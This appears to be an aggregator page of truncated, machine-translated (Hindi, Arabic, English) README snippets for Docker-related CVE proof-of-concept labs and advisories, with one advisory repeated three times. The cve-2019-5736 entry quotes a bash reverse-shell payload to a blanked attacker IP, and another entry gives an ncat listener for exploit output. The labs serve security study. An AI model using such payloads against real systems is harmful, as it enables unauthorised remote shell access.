CVE-2022-0492-Container-Escape

CVE-2022-0492-Container-Escape CVE-2022-0492-Container-Escape Go में कार्यान्वित संदर्भ लिंक: https://github.com/chenaotian/CVE-2022-0492 https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/...

CVE-2026-93323

The Dockerfile frontend is vulnerable to a memory exhaustion attack because it loads Dockerfile and .dockerignore files into memory without a size limit. An attacker providing a build context with an oversized file can cause buildkitd to allocate proportional memory, potentially leading to a Deni...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

CVE-2026-93323 Oversized Dockerfile or .dockerignore can exhaust buildkitd memory

The Dockerfile frontend loaded the Dockerfile and .dockerignore files of a build context into memory without a size limit. A build context containing an oversized file could make buildkitd allocate memory proportional to that file, potentially exhausting memory and terminating the daemon, which...

webmin_docker_and_exp

Docker-webmin-RCE-lab 1. ملفات Dockerfiles لاستنساخ ثغرة CVE-2019-15107 webmin RCE بما في ذلك الإصدارين v1.890 و v1.920. 2. استغلال لكل إصدار. بناء الصورة First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . تشغيل الحاوية docker run -d -p 10000:10000 hachp1/webmi...

log4shell-poc-lab

Log4Shell POC प्रदर्शन इस रिपॉजिटरी में एक submodule है, इसे इस प्रकार क्लोन करें: git clone --recurse-submodules [email protected]:obscuritylabs/log4shell-poc-lab.git फिर प्रदर्शन शुरू करने के लिए चलाएँ: docker compose up पीड़ित सर्वर पर एक फ़ाइल बनाने वाले exploit को देखने के लिए, चलाएँ:...

cve-2026-20896-gitea-poc

CVE-2026-20896 Gitea Docker Auth Bypass Checker عمليات فريق أحمر/اختبار الاختراق المصرّح بها فقط. يحتوي هذا المستودع على أداة فحص بسيطة لـ CVE-2026-20896، وهي ثغرة تجاوز للمصادقة في صور Gitea Docker الرسمية حتى الإصدار 1.26.2 ضمنًا، عندما يكون المصادقة عبر البروكسي العكسي مفعّلة. ما هي...

CVE-2026-78122-POC

CVE-2026-78122 — إثبات المفهوم Tecnativadocker-socket-proxy ≤ 0.5.0 — عدم كفاية دقة التحكم في الوصول CWE-1220 CVSS 4.0: 8.3 عالٍ — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N ناقل الهجوم مجاور AV:A: يحتاج المهاجم إلى وصول شبكة محلي/مجاور إلى الوكيل — وهذا هو تحديدًا سبب إبقائه...

CVE-2026-58455-PoC

CVE-2026-58455 — Dockwatch: ثغرة تنفيذ أكواد عن بُعد غير مصادق عليها تجاوز المصادقة + حقن أوامر إثبات فكرة لـ CVE-2026-58455 : تنفيذ أكواد عن بُعد غير مصادق عليه في Dockwatch من Notifiarr، وهي واجهة ويب ذاتية الاستضافة لإدارة حاويات Docker. يؤثر على جميع الإصدارات حتى 0.6.567. السبب الجذري تم...

cve-2019-5736-poc

जोड़ने के लिए हेडर stage2.c bash include bash include हमलावर पीसी के आईपी से संशोधित करें stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; डॉकर इमेज और कंटेनर बनाएं $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2023-33246-Copy

1. مرجع دراسي CVE-2023-33246 https://github.com/I5N0rth/CVE-2023-33246 2. إعداد البيئة المحلية 2.1 تحميل الصورة docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 2.2 تشغيل broker و namesrv و console تشغيل namesrv docker run -dit -p 9876:9876 -p 10909:10909 --name...

CVE-2025-9074-PoC

Docker API Unauthenticated RCE CVE-2025-9074 डॉकर डेस्कटॉप में CVE-2025-9074 नामक एक गंभीर भेद्यता स्थानीय रूप से चलने वाले लिनक्स कंटेनरों को डिफ़ॉल्ट सबनेट 192.168.65.7:2375 के माध्यम से डॉकर इंजन एपीआई से कनेक्ट करने में सक्षम बनाती है। यह समस्या बढ़ी हुई कंटेनर आइसोलेशन ECI या TCP एक्सपोज़र...

CVE-2025-32375

إعداد الإصدار الضعيف. شغّل الحاوية الضعيفة: docker compose up أنشئ مستمعًا مثل ncat: ncat -klnv 1337 شغّل الاستغلال: python3 exploit.py يجب أن تستقبل طلب HTTP في نافذة ncat يتضمن مخرجات أمر نظام التشغيل id افتراضيًا إذا كان كل شيء يعمل كما هو متوقع. إشادات تم العثور على الثغرة بواسطة SeaW1nd...

Exploite-CVE-2023-30212-Vulnerability

إنشاء بيئة Docker قابلة للاستغلال وعرضة لثغرة CVE-2023-30212 الوصف بيئة Docker واستغلال ثغرة CVE-2023-30212. CVE-2023-30212 هي ثغرة أمنية تؤثر على إصدارات OURPHP السابقة أو المساوية للإصدار 7.2.0. تسمح هذه الثغرة بهجمات Cross-Site Scripting XSS OURPHP sudo apt update sudo apt install docker.io...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

ملحق Docker Commons API لـ Jenkins ملحق API يوفر الوظائف المشتركة للعديد من الملحقات المتعلقة بـ Docker. ملخص API لإدارة بصمات صور وحاويات Docker بيانات الاعتماد وموقع سجل Docker بيانات الاعتماد وموقع خادم Docker المعروف أيضًا باسم Docker Remote API ToolInstallation لعملاء Docker CLI نقطة تمديد...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 इंटर्नशिप परीक्षण-कार्य के लिए रिपॉजिटरी। चरण 0: इस git रिपॉजिटरी को क्लोन करें git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 चरण 1: डॉकर कंटेनर बनाएँ डॉकर डेमॉन शुरू करें sudo systemctl start docker.service डॉकर कंटेनर शुरू करें डॉकर कंटेनर शुरू...

android-kernel-exploitation-ashfaq-CVE-2019-2215

android-kernel-exploitation-ashfaq-CVE-2019-2215. कार्यशाला में उपयोगकर्ता रॉबर्ट डैन द्वारा प्रदान की गई Docker छवि android-kernel-exploitation-ashfaq-CVE-2019-2215...

Log4Shell-demo

Log4Shell في العمل يهدف هذا المشروع إلى توضيح كيفية عمل ثغرة Log4Shell / CVE-2021-44228. المتطلبات تحتاج فقط إلى تثبيت Docker. ومن الأفضل أن يكون لديك جهازان افتراضيان مختلفان. أحدهم للخادم الضعيف vulnerable server والآخر للخادم الخبيث malicious server الذي سيستضيف قاعدة الكود الخبيثة وخادم LDAP...

poc-cve-2024-23334

poc-cve-2024-23334 इस रिपॉजिटरी में रिपोर्ट की गई कमजोरी CVE-2024-23334 के लिए aiohttp लाइब्रेरी के शोषण का एक प्रूफ ऑफ कॉन्सेप्ट है। यह दो कारणों से बनाया गया था: 1. शैक्षिक उद्देश्य: एप्लिकेशन सुरक्षा में शुरुआत करने वालों के लिए, कमजोरी को पुन: उत्पन्न करने के चरणों को देखना और इसके पीछे की...